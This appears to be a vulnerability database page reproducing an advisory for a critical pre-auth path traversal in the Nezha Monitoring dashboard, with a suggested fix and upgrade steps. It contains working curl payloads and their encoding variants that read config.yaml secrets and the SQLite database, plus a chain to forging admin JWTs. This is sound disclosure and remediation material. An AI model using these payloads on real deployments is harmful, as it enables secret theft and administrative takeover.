Loading...
Skip to main content

CVE-2026-53519 — Vulnerability in github.com/nezhahq/nezha — CVE...

CRITICAL

Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key

Published June 26, 2026Updated July 7, 2026Source: osv

Summary

### Summary `fallbackToFrontend` in the dashboard's `NoRoute` handler treats any URL whose **raw string** starts with `/dashboard` as an admin-frontend asset request. The check uses `strings.HasPrefix`, not a path-segment match, so the input `/dashboard../data/config.yaml` is accepted; `strings.TrimPrefix` leaves `../data/config.yaml`; and `path.Join("admin-dist", "../data/config.yaml")` normalizes to `data/config.yaml` — which `os.Stat` finds and `http.ServeFile` returns. No authentication required. In default deployments (the values shipped in `model/config.go` and the layout shipped in the project `Dockerfile`) `data/config.yaml` contains the HS256 `jwt_secret_key` used by `cmd/dashboard/controller/jwt.go` to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request. ### Details ## Root cause ```go // cmd/dashboard/controller/controller.go @ 636f4a9 387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path) 388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { 389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") 390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) 391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) { 392: return 393: } ``` ```go // cmd/dashboard/controller/controller.go @ 636f4a9 322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) { 323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool { 324: if _, err := os.Stat(path); err == nil { 325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path) 326: return true 327: } ``` `fallbackToFrontend` is wired as the catch-all at `cmd/dashboard/controller/controller.go:157` — `r.NoRoute(fallbackToFrontend(frontendDist))` — so every URL not matched by an earlier route reaches it, including pre-auth. ### Path math (verified, see appendix) | Input `URL.Path` | `TrimPrefix(..., "/dashboard")` | `path.Join("admin-dist", ...)` | Reachable file | |---|---|---|---| | `/dashboard/login` | `/login` | `admin-dist/login` | legitimate, intended | | `/dashboard/../data/config.yaml` | `/../data/config.yaml` | `data/config.yaml` | **but blocked by Go `http.ServeFile`'s URL `..`-segment guard → 400** | | `/dashboard../data/config.yaml` | `../data/config.yaml` | `data/config.yaml` | **served, 200** | | `/dashboard%2e%2e/data/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** | | `/dashboard..%2fdata/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** | The negative control (`/dashboard/../data/config.yaml`) lands at the same on-disk path after `path.Join`, but is rejected by `http.ServeFile` because Go's stdlib enforces a URL-level traversal guard that fires when the **request URL** itself contains a standalone `..` segment. The bypass works because in `/dashboard../...` the first URL segment is the single token `dashboard..` — no standalone `..` — so the stdlib guard does not trigger. The traversal segment is **created after `TrimPrefix`**, downstream of every defense. ### Why the existing defenses miss 1. The prefix check is a substring test on the raw URL string, not a segment test. `dashboard` and `dashboard..` are both accepted. 2. `path.Join` silently `Clean`s the result — so the `..` is consumed correctly to escape `admin-dist`, with no error returned to indicate escape. 3. Go's `http.ServeFile` stdlib guard fires only on URLs with a standalone `..` segment (per `net/http.containsDotDot`). The payload puts the dots inside the first segment instead. 4. No anchored "is this still under the template root?" check exists after `path.Join`. ## PoC ### Setup ```text TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef HARNESS: stdlib-only port — see Appendix A WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db TIME-TO-REPRO: first request ``` The harness plants this `data/config.yaml`: ```yaml debug: false listen_port: 8008 language: en_US jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE agent_secret_key: REPRO_AGENT_SECRET_VALUE site: brand: nezha-repro ``` ### Observed responses **Primary payload — pre-auth secret disclosure:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml' ``` ```text HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 167 Content-Type: application/yaml Last-Modified: Sun, 24 May 2026 12:16:23 GMT Date: Sun, 24 May 2026 12:16:25 GMT debug: false listen_port: 8008 language: en_US jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE agent_secret_key: REPRO_AGENT_SECRET_VALUE site: brand: nezha-repro ``` **Negative control — Go stdlib guard rejects the canonical form:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml' ``` ```text HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 invalid URL path ``` **Encoded-dot variant — bypass also works:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 167 Content-Type: application/yaml [... full config.yaml including jwt_secret_key ...] ``` **Encoded-slash variant — bypass also works:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 167 Content-Type: application/yaml [... full config.yaml including jwt_secret_key ...] ``` **Double-encoded — confirms the bypass requires single-level encoding:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml' ``` ```text HTTP/1.1 200 OK Content-Length: 30 Content-Type: text/html; charset=utf-8 <html>admin frontend OK</html> ``` The literal `%252e%252e` does not decode to `..`, so the path becomes `admin-dist/%2e%2e/data/config.yaml` (no escape), `os.Stat` fails, and the handler falls through to serving `admin-dist/index.html` — no secret disclosure. **Encoded leading slash — also blocked at the stdlib layer:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml' ``` ```text HTTP/1.1 400 Bad Request invalid URL path ``` **SQLite database exfil — same primitive:** ```bash curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db' ``` ```text HTTP/1.1 200 OK Content-Length: 42 SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY ``` ### Sanity checks - Normal `/dashboard/` request still serves `admin-dist/index.html` with HTTP 200 — the bypass does not regress legitimate behavior. - Requests to `/api/...` still hit the JSON-404 branch — the bypass is isolated to the `/dashboard` fallback. ## Impact ### Direct primitive Unauth read of any file in the dashboard's working directory subtree reachable by escaping `admin-dist` one level. In default deployments that includes: | File | Default path | Why it matters | |---|---|---| | `data/config.yaml` | from `-c` flag default (`cmd/dashboard/main.go:104`) | Contains `jwt_secret_key` (signing key, **HS256**), `agent_secret_key`, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets | | `data/sqlite.db` | from `-db` flag default (`cmd/dashboard/main.go:105`) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs | ### Chain to administrative account takeover (verified path) 1. **Read config** — `GET /dashboard../data/config.yaml` returns plaintext YAML containing `jwt_secret_key`. 2. **Read database** — `GET /dashboard../data/sqlite.db` returns the SQLite file; an attacker opens it and reads the `users` table to recover admin user IDs (and any other claims the JWT references). 3. **Forge a JWT** — the dashboard's JWT middleware at `cmd/dashboard/controller/jwt.go:22,27` is wired with: ```go Key: []byte(singleton.Conf.JWTSecretKey), SigningAlgorithm: "HS256", CookieName: "nz-jwt", IdentityKey: model.CtxKeyAuthorizedUser, ``` HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose `user_id` claim matches the admin user from step 2 and attaches it as the `nz-jwt` cookie (or `Authorization: Bearer ...`). 4. **Operate as admin** — every admin handler (`adminHandler` chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings. The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing. ## Suggested fix Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root **before** any filesystem call. Minimal diff: ```diff - if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { - stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") + if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") { + stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/") + cleanPath := path.Clean("/" + stripPath) + if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") { + c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found"))) + return + } localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) ``` The `/dashboard` -> `/dashboard/` redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in `frontendPageUrlRegistry`. The same hardening should be applied to the user-template branch (lines 399–405), which uses the same `path.Join` pattern with `singleton.Conf.UserTemplate`. While the `/dashboard` prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled `URL.Path` to that branch would re-introduce the same primitive. A defense-in-depth alternative is to replace the local `os.Stat + http.ServeFile` branch with a `http.FileServer(http.FS(subFS))` rooted at the embedded `admin-dist` subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.

Advisory Timeline

  • First published June 26, 2026 (107 days ago).
  • Last revised July 7, 2026 — 11 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/nezhahq/nezha to 2.0.13 or later
go get github.com/nezhahq/nezha@v2.0.13

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/nezhahq/nezha
go
All versions2.0.13

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-53519?
Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-53519?
CVE-2026-53519 affects github.com/nezhahq/nezha. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-53519 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-5c25-7vpj-9mqh
GO-2026-5828

Related CVEs

  • CVE-2026-46716
    CRITICAL

    Nezha Monitoring: RoleMember can run shell on every server (cross-tenant RCE) via POST /api/v1/cron

  • CVE-2026-107806
    CRITICAL

    Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

  • CVE-2026-62283
    CRITICAL

    Nezha vulnerable to cross-tenant terminal/file-manager session hijack via WebSocket stream UUID without ownership check

  • CVE-2026-68582
    CRITICAL

    Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)

  • CVE-2026-46717
    HIGH

    Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies